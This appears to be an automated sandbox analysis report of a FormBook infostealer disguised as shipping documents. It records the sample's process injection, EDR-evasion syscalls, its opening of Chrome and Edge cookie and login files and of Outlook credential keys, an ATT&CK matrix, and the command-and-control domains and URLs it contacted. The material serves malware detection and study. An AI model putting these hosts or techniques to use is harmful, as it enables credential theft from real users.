                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtReadVirtualMemory: Direct from: 0x76F02E8CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtCreateKey: Direct from: 0x76F02C6CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtSetInformationThread: Direct from: 0x76F02B4CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtQueryAttributesFile: Direct from: 0x76F02E6CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtAllocateVirtualMemory: Direct from: 0x76F048ECJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtQuerySystemInformation: Direct from: 0x76F048CCJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtQueryVolumeInformationFile: Direct from: 0x76F02F2CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtOpenSection: Direct from: 0x76F02E0CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtSetInformationThread: Direct from: 0x76EF63F9Jump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtDeviceIoControlFile: Direct from: 0x76F02AECJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtAllocateVirtualMemory: Direct from: 0x76F02BECJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtCreateFile: Direct from: 0x76F02FECJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtOpenFile: Direct from: 0x76F02DCCJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtQueryInformationToken: Direct from: 0x76F02CACJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtTerminateThread: Direct from: 0x76F02FCCJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtProtectVirtualMemory: Direct from: 0x76EF7B2EJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtOpenKeyEx: Direct from: 0x76F02B9CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtProtectVirtualMemory: Direct from: 0x76F02F9CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtSetInformationProcess: Direct from: 0x76F02C5CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtNotifyChangeKey: Direct from: 0x76F03C2CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtCreateMutant: Direct from: 0x76F035CCJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtWriteVirtualMemory: Direct from: 0x76F02E3CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtMapViewOfSection: Direct from: 0x76F02D1CJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtResumeThread: Direct from: 0x76F036ACJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtAllocateVirtualMemory: Direct from: 0x76F02BFCJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtReadFile: Direct from: 0x76F02ADCJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtQuerySystemInformation: Direct from: 0x76F02DFCJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtDelayExecution: Direct from: 0x76F02DDCJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtQueryInformationProcess: Direct from: 0x76F02C26Jump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtResumeThread: Direct from: 0x76F02FBCJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeNtCreateUserProcess: Direct from: 0x76F0371CJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\sc.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\sc.exeThread register set: target process: 5580Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Windows\SysWOW64\sc.exeThread APC queued: target process: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 253008Jump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D3B106 LogonUserW,0_2_00D3B106
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D03D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00D03D19
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D4411C SendInput,keybd_event,0_2_00D4411C
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D474E7 mouse_event,0_2_00D474E7
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"Jump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D3A66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00D3A66C
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D471FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_00D471FA
                Source: AWB_5771388044 Documente de expediere.exe, dnqNlDRmfuUrS.exe, 00000005.00000000.2174171638.00000000014B0000.00000002.00000001.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000005.00000002.2915782839.00000000014B1000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: dnqNlDRmfuUrS.exe, 00000005.00000000.2174171638.00000000014B0000.00000002.00000001.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000005.00000002.2915782839.00000000014B1000.00000002.00000001.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000000.2317837261.0000000001AC0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
                Source: dnqNlDRmfuUrS.exe, 00000005.00000000.2174171638.00000000014B0000.00000002.00000001.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000005.00000002.2915782839.00000000014B1000.00000002.00000001.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000000.2317837261.0000000001AC0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: dnqNlDRmfuUrS.exe, 00000005.00000000.2174171638.00000000014B0000.00000002.00000001.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000005.00000002.2915782839.00000000014B1000.00000002.00000001.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000000.2317837261.0000000001AC0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: }Program Manager
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D265C4 cpuid 0_2_00D265C4
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D5091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,0_2_00D5091D
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D7B340 GetUserNameW,0_2_00D7B340
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D31E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_00D31E8E
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D1DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_00D1DDC0

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.4e0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.4e0000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.2914944914.00000000008A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2916379942.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248534012.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248246717.00000000004E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2915999242.0000000001630000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2916441443.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248900268.0000000003D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2916213463.0000000003560000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\sc.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_81
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_XP
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_XPe
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_VISTA
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_7
                Source: AWB_5771388044 Documente de expediere.exeBinary or memory string: WIN_8

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.4e0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.4e0000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.2914944914.00000000008A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2916379942.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248534012.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248246717.00000000004E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.2915999242.0000000001630000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.2916441443.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2248900268.0000000003D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2916213463.0000000003560000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D58C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_00D58C4F
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D5923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00D5923B

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		3
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault Accounts1
                Service Execution                		2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAt1
                Windows Service                		1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		4
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		3
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		4
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets251
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
                Windows Service                		2
                Valid Accounts                		Cached Domain Credentials2
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items412
                Process Injection                		2
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem11
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1571472 Sample: AWB_5771388044 Documente de... Startdate: 09/12/2024 Architecture: WINDOWS Score: 100 28 www.avalanchefi.xyz 2->28 30 jalan2.online 2->30 32 4 other IPs or domains 2->32 42 Suricata IDS alerts for network traffic 2->42 44 Multi AV Scanner detection for submitted file 2->44 46 Yara detected FormBook 2->46 50 5 other signatures 2->50 10 AWB_5771388044 Documente de expediere.exe 2 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 28->48 process4 signatures5 62 Binary is likely a compiled AutoIt script file 10->62 64 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 10->64 66 Writes to foreign memory regions 10->66 68 Maps a DLL or memory area into another process 10->68 13 svchost.exe 10->13         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 16 dnqNlDRmfuUrS.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 sc.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 dnqNlDRmfuUrS.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 bloodbalancecaps.shop 108.179.253.197, 49763, 80 UNIFIEDLAYER-AS-1US United States 22->34 36 jalan2.online 108.181.189.7, 49804, 49810, 49819 ASN852CA Canada 22->36 38 www.avalanchefi.xyz 13.248.169.48, 49843, 49849, 49855 AMAZON-02US United States 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                AWB_5771388044 Documente de expediere.exe76%ReversingLabsWin32.Trojan.AutoitInject
                AWB_5771388044 Documente de expediere.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.avalanchefi.xyz/ctta/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=73htI/07lnbi6jhjvkNHrlWSa6BSjsKivRRSV4arkt57XDlKC2xJvna+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoag2/xWEWhdCP8yoM02bo7Rk5ZALP8w8OFi4=0%Avira URL Cloudsafe
                http://www.avalanchefi.xyz0%Avira URL Cloudsafe
                http://www.jalan2.online/xu9o/0%Avira URL Cloudsafe
                http://www.avalanchefi.xyz/ctta/0%Avira URL Cloudsafe
                http://www.bloodbalancecaps.shop/7n6c/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=ePeKNPyUeLpNn1ut9QR5+vkaHUGSQvJrwPLb6fKcgQCso5jGZqjP6M9GYYTFao+4npn6icqsLwsi7nEjf66UvTUwrIE2dD1LfojjSGoioIp2xNG+LZcOM+Y=0%Avira URL Cloudsafe
                http://www.jalan2.online/xu9o/?gdIlTvE8=Y1SnkQLh9oyCIrW0o0O4vqPemXX8Spt1zoY93P6OWbCvdS06v54NadN0bxhIZaxlyI96f1lIInN9xaPSBVcrMr8DLl9ZyJ18b2nxQ81rZE0uLnMg7aaVIRg=&FH1D=O4FXjFCpJjRpaxv0%Avira URL Cloudsafe
                http://bloodbalancecaps.shop/7n6c/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=ePeKNPyUeLpNn1ut9QR50%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                www.avalanchefi.xyz
                		13.248.169.48
                		truetrue
                  		unknown
                  jalan2.online
                  		108.181.189.7
                  		truetrue
                    		unknown
                    bloodbalancecaps.shop
                    		108.179.253.197
                    		truetrue
                      		unknown
                      www.02760.wang
                      		unknown
                      		unknownfalse
                        		unknown
                        www.jalan2.online
                        		unknown
                        		unknownfalse
                          		unknown
                          www.bloodbalancecaps.shop
                          		unknown
                          		unknownfalse
                            		unknown

                            Contacted URLs

                            NameMaliciousAntivirus DetectionReputation
                            http://www.avalanchefi.xyz/ctta/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=73htI/07lnbi6jhjvkNHrlWSa6BSjsKivRRSV4arkt57XDlKC2xJvna+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoag2/xWEWhdCP8yoM02bo7Rk5ZALP8w8OFi4=true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.jalan2.online/xu9o/?gdIlTvE8=Y1SnkQLh9oyCIrW0o0O4vqPemXX8Spt1zoY93P6OWbCvdS06v54NadN0bxhIZaxlyI96f1lIInN9xaPSBVcrMr8DLl9ZyJ18b2nxQ81rZE0uLnMg7aaVIRg=&FH1D=O4FXjFCpJjRpaxvtrue
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.jalan2.online/xu9o/true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.bloodbalancecaps.shop/7n6c/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=ePeKNPyUeLpNn1ut9QR5+vkaHUGSQvJrwPLb6fKcgQCso5jGZqjP6M9GYYTFao+4npn6icqsLwsi7nEjf66UvTUwrIE2dD1LfojjSGoioIp2xNG+LZcOM+Y=true
                            • Avira URL Cloud: safe
                            		unknown
                            http://www.avalanchefi.xyz/ctta/true
                            • Avira URL Cloud: safe
                            		unknown

                            URLs from Memory and Binaries

                            NameSourceMaliciousAntivirus DetectionReputation
                            https://ac.ecosia.org/autocomplete?q=sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              https://duckduckgo.com/chrome_newtabsc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://www.avalanchefi.xyzdnqNlDRmfuUrS.exe, 00000007.00000002.2915999242.000000000168F000.00000040.80000000.00040000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://duckduckgo.com/ac/?q=sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://www.google.com/images/branding/product/ico/googleg_lodp.icosc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchsc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      http://bloodbalancecaps.shop/7n6c/?FH1D=O4FXjFCpJjRpaxv&gdIlTvE8=ePeKNPyUeLpNn1ut9QR5sc.exe, 00000006.00000002.2917111114.0000000003C24000.00000004.10000000.00040000.00000000.sdmp, dnqNlDRmfuUrS.exe, 00000007.00000002.2916712819.0000000003804000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2540186843.0000000005824000.00000004.80000000.00040000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=sc.exe, 00000006.00000003.2435734617.0000000007C4D000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
